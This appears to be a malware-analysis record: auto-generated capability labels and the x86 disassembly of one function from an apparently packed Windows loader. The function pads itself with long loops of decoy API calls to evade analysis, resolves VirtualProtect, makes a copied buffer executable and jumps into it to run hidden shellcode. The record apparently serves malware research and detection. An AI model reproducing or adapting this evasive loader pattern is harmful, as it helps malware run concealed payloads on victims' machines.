Function at 0x401204
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp edi, 0x207142
jg 0x40122b
inc edi
cmp edi, 0x67d12
jl 0x401214
cmp dword [0x2818bc4], 0x93
jne 0x401305
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push str.Fonakefanot
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
push str.zazaperumefijayesubusi_tofipareceh
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push str.Teduroxeyor_natuvamoboram
push str.Hicurufupelimo_rohatozuma_nufirowoxec_pibiv
push str.Miketay_zilaxehafusaj_xotixiniza_dibenun
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push dword [ebp - 4]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x808]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push esi
push esi
push esi
push esi
call fcn.00401c57
push esi
push esi
call fcn.004019d2
push esi
push esi
call fcn.00401c74
push esi
call fcn.00401998
push esi
push esi
call fcn.004019c7
add esp, 0x2c
mov eax, dword [0x42ac2c]
add dword [0x2818bc4], 0x1134b
push str.kernel32.dll
mov dword [0x2819a00], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
mov dword [0x2818654], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2818bc4]
mov dword [0x2818648], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x2818bc4]
mov dword [0x2818650], eax
push eax
call dword [0x2818648]
mov edi, 0x1692e
push esi
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x401364
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x2818bc4], esi
jbe 0x4013e2
mov eax, dword [0x2819a00]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2818650]
mov byte [ecx + edi], al
cmp dword [0x2818bc4], 0x490
jne 0x4013d9
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x2818bc4]
jb 0x401390
xor edi, edi
mov eax, dword [0x2818bc4]
add eax, edi
cmp eax, 0x8d
jne 0x40141f
push esi
lea eax, [ebp - 0x408]
push eax
push esi
push 0x425f10
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push 0x425f14
push str.havayekubipacacujoxifupozeko
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x4013e4
call fcn.0040112c
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x40144d
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x640b
mov eax, dword [ebp - 4]
add dword [0x2818650], eax
inc edi
cmp edi, 0x674bd
jl 0x40142f
push 0x7b
pop edi
cmp dword [0x2818bc4], 0x86
jne 0x401494
push esi
push esi
push esi
push esi
push esi
push esi
push str.Wuhusewixig_finabizetela_xalas_womamonumune_naviganev
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x401459
push str.msimg32.dll
call ebx
call dword [0x2818650]
pop edi
pop esi
pop ebx
leave
ret